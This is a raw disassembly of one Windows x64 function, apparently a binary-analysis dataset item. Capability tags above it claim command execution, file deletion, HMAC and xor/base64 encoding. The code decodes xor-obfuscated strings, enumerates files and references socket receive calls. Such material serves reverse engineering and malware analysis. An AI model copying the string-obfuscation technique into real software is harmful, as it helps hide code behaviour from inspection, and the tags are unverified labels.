Function at 0x1400da830
Capabilities:
Authenticate hmac
Delete file
Encode data using base64
Encode data using xor
Execute command

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x748]
sub rsp, 0x820
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
movaps xmmword [rax - 0x78], xmm10
movaps xmmword [rax - 0x88], xmm11
movaps xmmword [rax - 0x98], xmm12
movaps xmmword [rax - 0xa8], xmm13
movaps xmmword [rax - 0xb8], xmm14
movaps xmmword [rax - 0xc8], xmm15
mov rax, qword [0x140152040]
xor rax, rsp
mov qword [rbp + 0x678], rax
xor edi, edi
mov esi, edi
mov dword [rbp + 0x1d0], edi
call fcn.14001a650
mov rcx, qword [0x140255230]
mov rax, qword [rcx + 0x4140]
mov byte [rax + 0xf5], 1
mov rax, qword [rcx + 0x4140]
xorps xmm13, xmm13
movss xmm10, dword [0x140138d5c]
cmp byte [rax + 0xf8], dil
jne 0x1400da905
mov qword [rbp + 0x190], rsi
movaps xmm1, xmm10
lea rcx, [rbp + 0x190]
call fcn.14001ec30
mov rcx, qword [0x140255230]
mov rax, qword [rcx + 0x4140]
mov byte [rax + 0xf5], 1
mov rax, qword [rcx + 0x4140]
cmp byte [rax + 0xf8], sil
jne 0x1400da941
mov qword [rbp + 0x190], rsi
movaps xmm1, xmm10
lea rcx, [rbp + 0x190]
call fcn.14001ec30
mov rcx, qword [0x140255230]
mov rax, qword [rcx + 0x4140]
mov byte [rax + 0xf5], 1
mov rax, qword [rcx + 0x4140]
cmp byte [rax + 0xf8], sil
jne 0x1400da976
mov qword [rbp + 0x190], rsi
movaps xmm1, xmm10
lea rcx, [rbp + 0x190]
call fcn.14001ec30
movups xmm0, xmmword [str.eDXPV]
movups xmmword [rbp + 0x2f0], xmm0
movups xmm1, xmmword [0x140135a10]
movups xmmword [rbp + 0x300], xmm1
movups xmm0, xmmword [0x140135a20]
movups xmmword [rbp + 0x310], xmm0
movups xmm1, xmmword [0x140135a30]
movups xmmword [rbp + 0x320], xmm1
movzx eax, word [0x140135a40]
mov word [rbp + 0x330], ax
mov r8d, edi
movdqa xmm11, xmmword [0x140138fb0]
movdqa xmm7, xmmword [0x140138f00]
movdqa xmm14, xmmword [0x140139010]
movdqa xmmword [rsp + 0x50], xmm14
movdqa xmm12, xmmword [str.7777]
movdqa xmm6, xmmword [0x140138ff0]
mov r12d, dword [0x140152090]
cmp r12d, 2
jl 0x1400dab0b
movdqa xmmword [rbp + 0x1b0], xmm14
lea rcx, [rbp + 0x2f4]
mov edx, dword [rbp + 0x1b0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x40
jl 0x1400daa20
cmp r8d, 0x42
jge 0x1400dab4f
movsxd rax, r8d
lea r9, [rbp + 0x2f0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x42
jl 0x1400dab20
lea rcx, [rbp + 0x2f0]
call fcn.14004bcf0
movups xmm0, xmmword [0x1401374e0]
movups xmmword [rbp + 0x2f0], xmm0
movups xmm1, xmmword [0x1401374f0]
movups xmmword [rbp + 0x300], xmm1
movups xmm0, xmmword [0x140137500]
movups xmmword [rbp + 0x310], xmm0
movups xmm1, xmmword [0x140137510]
movups xmmword [rbp + 0x320], xmm1
movups xmm0, xmmword [str.ZE__.e__h3__68S]
movups xmmword [rbp + 0x330], xmm0
mov eax, dword [0x140137530]
mov dword [rbp + 0x340], eax
movzx eax, word [0x140137534]
mov word [rbp + 0x344], ax
mov r8d, edi
cmp r12d, 2
jl 0x1400daccb
movdqa xmmword [rbp + 0x1b0], xmm14
lea rcx, [rbp + 0x2f4]
mov edx, dword [rbp + 0x1b0]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x50
jl 0x1400dabe0
cmp r8d, 0x56
jge 0x1400dad0f
movsxd rax, r8d
lea r9, [rbp + 0x2f0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x56
jl 0x1400dace0
lea rcx, [rbp + 0x2f0]
call fcn.14004bcf0
mov rcx, qword [0x140255230]
mov rax, qword [rcx + 0x4140]
mov byte [rax + 0xf5], 1
mov rax, qword [rcx + 0x4140]
cmp byte [rax + 0xf8], sil
jne 0x1400dad5e
mov qword [rbp + 0x190], rsi
movaps xmm1, xmm10
lea rcx, [rbp + 0x190]
call fcn.14001ec30
mov rcx, qword [0x140255230]
mov rax, qword [rcx + 0x4140]
mov byte [rax + 0xf5], 1
mov rax, qword [rcx + 0x4140]
cmp byte [rax + 0xf8], sil
jne 0x1400dad9a
mov qword [rbp + 0x190], rsi
movaps xmm1, xmm10
lea rcx, [rbp + 0x190]
call fcn.14001ec30
mov rcx, qword [0x140255230]
mov rax, qword [rcx + 0x4140]
mov byte [rax + 0xf5], 1
mov rax, qword [rcx + 0x4140]
cmp byte [rax + 0xf8], sil
jne 0x1400dadd6
mov qword [rbp + 0x190], rsi
movaps xmm1, xmm10
lea rcx, [rbp + 0x190]
call fcn.14001ec30
mov rcx, qword [0x140255230]
mov rdx, qword [rcx + 0x4140]
cmp byte [rdx + 0xf8], sil
jne 0x1400dae1c
mov r8d, dword [rdx + 0x1f4]
mov eax, r8d
neg eax
sbb ecx, ecx
add ecx, 2
cmp qword [rdx + 0x1e8], rsi
je 0x1400dae08
neg r8d
sbb ecx, ecx
add ecx, 6
movss xmm1, dword [0x140138b7c]
call fcn.14004e680
mov rcx, qword [0x140255230]
mov rax, qword [rcx + 0x4140]
mov byte [rax + 0xf5], 1
mov rax, qword [rcx + 0x4140]
cmp byte [rax + 0xf8], sil
jne 0x1400dae58
mov qword [rbp + 0x190], rsi
movaps xmm1, xmm10
lea rcx, [rbp + 0x190]
call fcn.14001ec30
mov rcx, qword [0x140255230]
mov rax, qword [rcx + 0x4140]
mov byte [rax + 0xf5], 1
mov rax, qword [rcx + 0x4140]
cmp byte [rax + 0xf8], sil
jne 0x1400dae94
mov qword [rbp + 0x190], rsi
movaps xmm1, xmm10
lea rcx, [rbp + 0x190]
call fcn.14001ec30
mov rcx, qword [0x140255230]
mov rax, qword [rcx + 0x4140]
mov byte [rax + 0xf5], 1
mov rax, qword [rcx + 0x4140]
cmp byte [rax + 0xf8], sil
jne 0x1400daec9
mov qword [rbp + 0x190], rsi
movaps xmm1, xmm10
lea rcx, [rbp + 0x190]
call fcn.14001ec30
call fcn.14001a6b0
mov edx, 4
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov eax, dword [rdx + rcx]
cmp dword [0x1402581ac], eax
jle 0x1400daf17
lea rcx, [0x1402581ac]
call fcn.140110128
cmp dword [0x1402581ac], 0xffffffff
jne 0x1400daf17
lea rcx, [0x1401190d0]
call fcn.140110068
lea rcx, [0x1402581ac]
call fcn.1401100bc
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_clock]
mov ecx, dword [0x140251d44]
add ecx, 0xfa
mov r15, 0xffffffffffffffff
lea r14, vtable.std::wstring_convert_class_std::codecvt_utf8_wchar_t__1114111__0___wchar_t__class_std::allocator_wchar_t___class_std::allocator_char__.0
cmp ecx, eax
jge 0x1400db42f
mov rbx, qword [0x1402570d0]
mov rsi, qword [0x1402570d8]
cmp rbx, rsi
je 0x1400daf71
mov rcx, rbx
call fcn.1400955d0
add rbx, 0x20
cmp rbx, rsi
jne 0x1400daf52
mov rax, qword [0x1402570d0]
mov qword [0x1402570d8], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x370], xmm0
movdqa xmm1, xmmword [0x140138dc0]
movdqu xmmword [rbp + 0x380], xmm1
mov word [rbp + 0x370], di
movsd xmm0, qword [str.EDXPVO]
movsd qword [rbp + 0x198], xmm0
movzx eax, byte [0x140135140]
mov byte [rbp + 0x198], WSACleanup
xor byte [rbp + 0x199], 0x36
xor byte [rbp + 0x19a], 0x37
xor byte [rbp + 0x19b], 0x38
xor byte [rbp + 0x19c], 0x39
xor byte [rbp + 0x19d], 0x3a
xor byte [rbp + 0x19e], 0x3b
xor byte [rbp + 0x19f], 0x3c
xor al, 0x3d
mov byte [rbp + 0x1a0], al
xorps xmm0, xmm0
movups xmmword [rbp + 0x230], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x240], xmm1
lea rax, [rbp + 0x198]
mov r8, r15
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400db010
lea rdx, [rbp + 0x198]
lea rcx, [rbp + 0x230]
call fcn.140079f10
nop
lea rcx, [rbp + 0x2f0]
call fcn.1400f3f70
nop
lea r8, [rbp + 0x230]
cmp qword [rbp + 0x248], 0xf
cmova r8, qword [rbp + 0x230]
mov r9, qword [rbp + 0x240]
add r9, r8
lea rdx, [rbp + 0x2b0]
mov rcx, rax
call fcn.1400f5900
mov esi, 0xc0000000
mov qword [rbp + 0x2f0], r14
lea rcx, [rbp + 0x330]
call fcn.1400f5ce0
lea rcx, [rbp + 0x310]
call fcn.1400955d0
mov rcx, qword [rbp + 0x308]
test rcx, rcx
je 0x1400db0b8
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
test rax, rax
je 0x1400db0b8
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, 1
mov rcx, rax
call r8
nop
lea rcx, [rbp + 0x390]
call fcn.14007c7f0
nop
mov r8d, 1
lea rdx, [0x140131d9c]
mov rcx, rax
call fcn.1400f40e0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x270], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x280], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 7
mov word [rax], di
bts esi, 0x1c
lea r9, [rbp + 0x2b0]
lea r8, [rbp + 0x270]
lea rcx, [rbp + 0x290]
call fcn.1400fd560
bts esi, 0x1d
lea rdx, [rbp + 0x290]
lea rcx, [rbp + 0x370]
call fcn.1400f4170
mov r8d, 2
lea rdx, [0x14013404c]
lea rcx, [rbp + 0x370]
call fcn.1400f40e0
cmp qword [rax + 0x18], 7
jbe 0x1400db156
mov rax, qword [rax]
lea rdx, [rbp + 0x430]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wfindfirst64i32]
mov rbx, rax
mov qword [rbp + 0x198], rax
lea rcx, [rbp + 0x290]
call fcn.1400f5ce0
nop
mov rdx, qword [rbp + 0x288]
cmp rdx, 7
jbe 0x1400db1c7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x270]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400db1c1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400db1c1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401101a0
nop
lea rcx, [rbp + 0x390]
call fcn.1400f5ce0
nop
lea rcx, [rbp + 0x2b0]
call fcn.1400f5ce0
nop
lea rcx, [rbp + 0x230]
call fcn.1400955d0
cmp rbx, 0xffffffffffffffff
je 0x1400db365
nop word [rax + rax]
lea rdx, [rbp + 0x454]
lea rcx, [rbp + 0x3b0]
call fcn.14007b450
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x210], xmm0
mov rcx, rdi
mov qword [rbp + 0x220], rcx
mov edx, select
mov qword [rbp + 0x228], rdx
mov byte [rbp + 0x210], cl
mov r14d, edi
mov r13, qword [rbp + 0x3c0]
test r13, r13
je 0x1400db2ed
mov rbx, rdi
mov r15, qword [rbp + 0x3c8]
mov r12, qword [rbp + 0x3b0]
nop
lea rax, [rbp + 0x3b0]
cmp r15, 7
cmova rax, r12
cmp word [rax + rbx], 0x2e
je 0x1400db2e6
lea rax, [rbp + 0x3b0]
cmp r15, 7
cmova rax, r12
movzx r9d, byte [rax + rbx]
cmp rcx, rdx
jae 0x1400db2b8
lea rax, [rcx + 1]
mov qword [rbp + 0x220], rax
lea rax, [rbp + 0x210]
cmp rdx, 0xf
cmova rax, qword [rbp + 0x210]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x1400db2c4
lea rcx, [rbp + 0x210]
call fcn.1400fc4c0
inc r14d
add rbx, 2
movsxd rax, r14d
cmp rax, r13
jae 0x1400db2e6
mov rdx, qword [rbp + 0x228]
mov rcx, qword [rbp + 0x220]
jmp 0x1400db260
mov rbx, qword [rbp + 0x198]
mov rax, qword [0x1402570d8]
cmp rax, qword [0x1402570e0]
je 0x1400db316
lea rdx, [rbp + 0x210]
mov rcx, rax
call fcn.140083b90
add qword [0x1402570d8], 0x20
jmp 0x1400db32d
lea r8, [rbp + 0x210]
mov rdx, rax
lea rcx, [0x1402570d0]
call fcn.140104f80
nop
lea rcx, [rbp + 0x210]
call fcn.1400955d0
nop
lea rcx, [rbp + 0x3b0]
call fcn.1400f5ce0
lea rdx, [rbp + 0x430]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wfindnext64i32]
test eax, eax
je 0x1400db200
mov r12d, dword [0x140152090]
mov r15, qword [0x1402570d8]
mov rax, r15
mov r14, qword [0x1402570d0]
sub rax, r14
sar rax, 5
cmp rax, 2
jb 0x1400db410
lea rbx, [r14 + 0x20]
cmp rbx, r15
je 0x1400db3af
mov rdx, rbx
mov rcx, r14
call fcn.1400f4460
add r14, 0x20
add rbx, 0x20
cmp rbx, r15
jne 0x1400db390
mov r15, qword [0x1402570d8]
lea rcx, [r15 - 0x20]
call fcn.1400955d0
mov r15, qword [0x1402570d8]
sub r15, 0x20
mov qword [0x1402570d8], r15
mov r14, qword [0x1402570d0]
lea rbx, [r14 + 0x20]
cmp rbx, r15
je 0x1400db3ff
nop word [rax + rax]
mov rdx, rbx
mov rcx, r14
call fcn.1400f4460
add r14, 0x20
add rbx, 0x20
cmp rbx, r15
jne 0x1400db3e0
mov r15, qword [0x1402570d8]
lea rcx, [r15 - 0x20]
call fcn.1400955d0
sub qword [0x1402570d8], 0x20
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_clock]
mov dword [0x140251d44], eax
lea rcx, [rbp + 0x370]
call fcn.1400f5ce0
mov r15, 0xffffffffffffffff
mov r8, qword [0x1402570d8]
sub r8, qword [0x1402570d0]
sar r8, 5
lea r9, [rbp + 0x675]
movabs r10, 0xcccccccccccccccd
nop dword [rax]
nop word [rax + rax]
dec r9
mov rax, r10
mul r8
shr rdx, 3
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub r8b, cl
add r8b, 0x30
mov byte [r9], r8b
mov r8, rdx
test rdx, rdx
jne 0x1400db460
xorps xmm0, xmm0
movups xmmword [rbp + 0x210], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x220], xmm1
lea rax, [rbp + 0x675]
cmp r9, rax
jne 0x1400db4c3
movdqa xmm0, xmmword [0x140138dd0]
movdqu xmmword [rbp + 0x220], xmm0
mov byte [rbp + 0x210], dl
jmp 0x1400db4dc
lea r8, [rbp + 0x675]
sub r8, r9
mov rdx, r9
lea rcx, [rbp + 0x210]
call fcn.140079f10
or esi, 0xc000000
movsd xmm0, qword [0x140134ed8]
movsd qword [rbp + 0x198], xmm0
movzx eax, word [0x140134ee0]
mov word [rbp + 0x1a0], ax
cmp byte [0x140134ee1], 0
je 0x1400db54f
mov byte [rbp + 0x198], 0x50
xor byte [rbp + 0x199], 0x36
xor byte [rbp + 0x19a], 0x37
xor byte [rbp + 0x19b], 0x38
xor byte [rbp + 0x19c], 0x39
xor byte [rbp + 0x19d], 0x3a
xor byte [rbp + 0x19e], 0x3b
xor byte [rbp + 0x19f], 0x3c
xor byte [rbp + 0x1a0], 0x3d
xor byte [rbp + 0x1a1], 0x3e
xorps xmm0, xmm0
movups xmmword [rbp + 0x270], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x280], xmm1
lea rax, [rbp + 0x198]
mov r8, r15
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400db570
lea rdx, [rbp + 0x198]
lea rcx, [rbp + 0x270]
call fcn.140079f10
nop
lea r9, [rbp + 0x210]
lea r8, [rbp + 0x270]
lea rcx, [rbp + 0x3d0]
call fcn.1400fd780
bts esi, 0x19
mov r8d, 2
lea rdx, [0x140133ecc]
lea rcx, [rbp + 0x3d0]
call fcn.1400f4340
xorps xmm0, xmm0
movups xmmword [rbp + 0x2d0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x2e0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2d0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x2e0], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], select
mov byte [rax], 0
bts esi, 0x18
lea rcx, [rbp + 0x2d0]
cmp qword [rbp + 0x2e8], 0xf
cmova rcx, qword [rbp + 0x2d0]
call fcn.14004bb50
nop
lea rcx, [rbp + 0x2d0]
call fcn.1400955d0
nop
lea rcx, [rbp + 0x3d0]
call fcn.1400955d0
nop
lea rcx, [rbp + 0x270]
call fcn.1400955d0
nop
lea rcx, [rbp + 0x210]
call fcn.1400955d0
mov rbx, qword [0x1402570d0]
mov r13, qword [0x1402570d8]
movdqa xmm8, xmmword [0x140138f60]
movdqa xmm9, xmmword [0x140138f30]
movdqa xmm15, xmmword [0x140138f70]
cmp rbx, r13
je 0x1400dcad9
movdqa xmm0, xmmword [0x140139270]
movups xmmword [rbp + 0x210], xmm0
movdqa xmm0, xmmword [0x1401394c0]
movups xmmword [rbp + 0x60], xmm0
movdqa xmm14, xmmword [0x1401392f0]
nop dword [rax + rax]
mov rcx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x1400db6bd
mov rcx, qword [rbx]
call fcn.14001afa0
mov eax, dword [str.eBOL9]
mov dword [rbp + 0x1d0], eax
movzx eax, byte [0x140134970]
mov byte [rbp + 0x1d0], 0x2e
xor byte [rbp + 0x1d1], 0x36
xor byte [rbp + 0x1d2], 0x37
xor byte [rbp + 0x1d3], 0x38
xor al, 0x39
mov byte [rbp + 0x1d4], al
xorps xmm0, xmm0
movups xmmword [rbp + 0x270], xmm0
mov qword [rbp + 0x280], rdi
mov qword [rbp + 0x288], rdi
lea rax, [rbp + 0x1d0]
mov r8, r15
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400db720
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x270]
call fcn.140079f10
nop
movsd xmm0, qword [str.EDXPVOa_]
movsd qword [rbp + 0x1d8], xmm0
movzx eax, word [0x1401348b8]
mov word [rbp + 0x1e0], ax
cmp byte [0x1401348b9], 0
je 0x1400db7ab
mov byte [rbp + 0x1d8], WSACleanup
xor byte [rbp + 0x1d9], 0x36
xor byte [rbp + 0x1da], 0x37
xor byte [rbp + 0x1db], 0x38
xor byte [rbp + 0x1dc], 0x39
xor byte [rbp + 0x1dd], 0x3a
xor byte [rbp + 0x1de], 0x3b
xor byte [rbp + 0x1df], 0x3c
xor byte [rbp + 0x1e0], 0x3d
xor byte [rbp + 0x1e1], 0x3e
xorps xmm0, xmm0
movups xmmword [rbp + 0x250], xmm0
mov qword [rbp + 0x260], rdi
mov qword [rbp + 0x268], rdi
lea rax, [rbp + 0x1d8]
mov r8, r15
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400db7d0
lea rdx, [rbp + 0x1d8]
lea rcx, [rbp + 0x250]
call fcn.140079f10
nop
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x1400db7fb
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
lea rcx, [rbp + 0x250]
call fcn.1400f4340
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x290], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x2a0], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], select
mov byte [rax], 0
bts esi, 0xb
lea r9, [rbp + 0x270]
lea r8, [rbp + 0x290]
lea rcx, [rbp + 0x2b0]
call fcn.1400fd780
bts esi, 0xc
lea rdx, [0x1402566e0]
cmp qword [0x1402566f8], 0xf
cmova rdx, qword [0x1402566e0]
lea rcx, [rbp + 0x2b0]
cmp qword [rbp + 0x2c8], 0xf
cmova rcx, qword [rbp + 0x2b0]
mov r8, qword [rbp + 0x2c0]
cmp r8, qword [0x1402566f0]
jne 0x1400db89d
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400db89d
mov r14b, 1
jmp 0x1400db8a0
xor r14b, r14b
lea rcx, [rbp + 0x2b0]
call fcn.1400955d0
nop
mov rdx, qword [rbp + 0x2a8]
cmp rdx, 0xf
jbe 0x1400db8ef
inc rdx
mov rcx, qword [rbp + 0x290]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400db8e9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400dcea9
call fcn.1401101a0
nop
mov rdx, qword [rbp + 0x268]
cmp rdx, 0xf
jbe 0x1400db930
inc rdx
mov rcx, qword [rbp + 0x250]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400db92b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400dceb0
call fcn.1401101a0
mov qword [rbp + 0x260], rdi
mov qword [rbp + 0x268], select
mov byte [rbp + 0x250], 0
lea rcx, [rbp + 0x270]
call fcn.1400955d0
mov dword [rbp + 0x1f0], edi
lea rdx, [rbp + 0x1f0]
test r14b, r14b
mov r14, qword [0x140255230]
movups xmm0, xmmword [r14 + 0x3ae0]
lea rcx, [r14 + 0x4be8]
movups xmmword [rbp + 0x1f4], xmm0
je 0x1400dbc74
call fcn.1400366c0
cmp dword [r14 + 0x4be4], 0
je 0x1400db99f
movups xmmword [r14 + 0x3ae0], xmm14
mov qword [rsp + 0x30], 0x43480000
movups xmm2, xmmword [0x140134d80]
movups xmmword [rbp + 0x1f0], xmm2
mov edx, dword [0x140134d90]
mov dword [rbp + 0x200], edx
cmp byte [0x140134d93], 0
je 0x1400dbc23
mov r8d, edi
cmp r12d, 2
jl 0x1400dbbea
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
mov ecx, dword [rsp + 0x50]
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x1f0], xmm1
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1f4]
xorps xmm2, xmm1
movd dword [rbp + 0x1f4], xmm2
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1f8]
xorps xmm2, xmm1
movd dword [rbp + 0x1f8], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm6
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1fc]
xorps xmm2, xmm1
movd dword [rbp + 0x1fc], xmm2
movdqa xmm2, xmmword [0x140138f80]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, edx
xorps xmm2, xmm1
movd dword [rbp + 0x200], xmm2
jmp 0x1400dbc23
lea r9, [rbp + 0x1f0]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x1400dbbf1
xor r8d, r8d
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x1f0]
call fcn.14004c970
mov ecx, 1
call fcn.14000a560
movaps xmm1, xmm10
movaps xmm0, xmm13
call fcn.14001eda0
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x1400dbc5b
mov rdx, qword [rbx]
movups xmmword [rbp + 0x1f0], xmm14
lea rcx, [rbp + 0x1f0]
call fcn.14004bbc0
